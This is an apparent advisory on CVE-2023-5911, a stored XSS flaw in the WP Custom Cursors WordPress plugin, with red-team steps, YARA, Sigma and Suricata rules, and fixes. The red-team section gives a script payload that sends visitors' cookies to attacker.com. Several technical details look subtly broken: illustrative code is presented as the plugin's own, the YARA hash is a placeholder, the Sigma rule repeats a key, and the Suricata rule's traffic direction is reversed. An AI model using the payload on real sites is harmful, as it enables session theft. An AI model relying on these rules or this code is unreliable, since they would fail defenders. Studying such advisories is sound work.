CVE-2023-5911

Executive Summary

CVE-2023-5911 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Custom Cursors WordPress plugin, affecting versions through 3.2. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This attack can succeed even when the unfiltered_html capability is disallowed, such as in multisite configurations. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability resides in the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not running version 3.2 or earlier. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Victim must visit the admin page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, a site administrator can compromise other sites or the network admin.

Deep Dive & Mechanics

The vulnerability exists in the plugin's settings page, where user-supplied values (e.g., cursor style names, CSS classes) are stored in the WordPress options table without proper sanitization or output escaping. When an admin saves these settings, the malicious payload is stored. Later, when any user (including lower-privileged users) visits a page that renders these settings, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses update_option() to store settings without applying sanitize_text_field() or wp_kses() on the input. On output, it fails to use esc_html() or esc_attr(), allowing raw HTML/JavaScript to be rendered.

Attack Flow:

1. Attacker with admin privileges navigates to the plugin settings page.
2. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is saved to the database.
4. When a victim (e.g., another admin or site visitor) loads a page that displays the setting, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.2):

// In wp-custom-cursors.php (simplified)
function save_settings() {
    update_option('wcc_cursor_style', $_POST['cursor_style']);
}
function display_settings() {
    $style = get_option('wcc_cursor_style');
    echo "<div class='cursor-style'>$style</div>";
}

Patched Code (hypothetical fix):

function save_settings() {
    update_option('wcc_cursor_style', sanitize_text_field($_POST['cursor_style']));
}
function display_settings() {
    $style = esc_html(get_option('wcc_cursor_style'));
    echo "<div class='cursor-style'>$style</div>";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multisite installation with the WP Custom Cursors plugin (<=3.2) activated.
• Admin credentials for a subsite.

Steps:

1. Log in as a subsite admin.
2. Navigate to Settings > WP Custom Cursors.
3. In the "Cursor Style Name" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Click "Save Changes".
5. When a network admin or another user visits the plugin settings page, the script executes, exfiltrating cookies.

Alternative Payload (for self-XSS demonstration):

<img src=x onerror=alert('XSS')>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the wcc_cursor_style option in the database.
• Look for HTTP requests to /wp-admin/options-general.php?page=wp-custom-cursors containing script tags in POST data.

Hardening:

• Disable the plugin immediately if not needed.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings fields.
• Restrict admin access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-custom-cursors/wp-custom-cursors.php (version 3.2)
• Database Option: wcc_cursor_style containing HTML/JavaScript payloads.
• Network: Outbound HTTP requests to unknown domains from the WordPress admin panel.
• Logs: Suspicious POST requests to /wp-admin/options-general.php with page=wp-custom-cursors and script content.

Detection Engineering

YARA Rule

rule CVE_2023_5911_WP_Custom_Cursors {
    meta:
        description = "Detects WP Custom Cursors plugin version 3.2 vulnerable to stored XSS"
        author = "Valters IT"
        date = "2024-01-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $vuln_func = "update_option('wcc_cursor_style'" nocase
        $vuln_echo = "echo \"<div class='cursor-style'>" nocase
    condition:
        $vuln_func or $vuln_echo
}

Sigma Rule

title: CVE-2023-5911 WP Custom Cursors Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of stored XSS in WP Custom Cursors plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/options-general.php'
        cs-uri-query|contains: 'page=wp-custom-cursors'
        cs-request|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate admin updates with benign HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-5911 WP Custom Cursors Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=wp-custom-cursors"; http_uri; pcre:"/<script|<img\s+onerror|<svg\s+onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential.
2. Manually patch the vulnerable code by adding sanitize_text_field() on input and esc_html() on output (see patched code above).
3. Restrict admin access to only trusted users, especially in multisite environments.

Long-Term:

• Monitor the WordPress Plugin Directory for an official update.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workaround:

• Use a security plugin (e.g., Wordfence) to block malicious input in admin pages.

Valters IT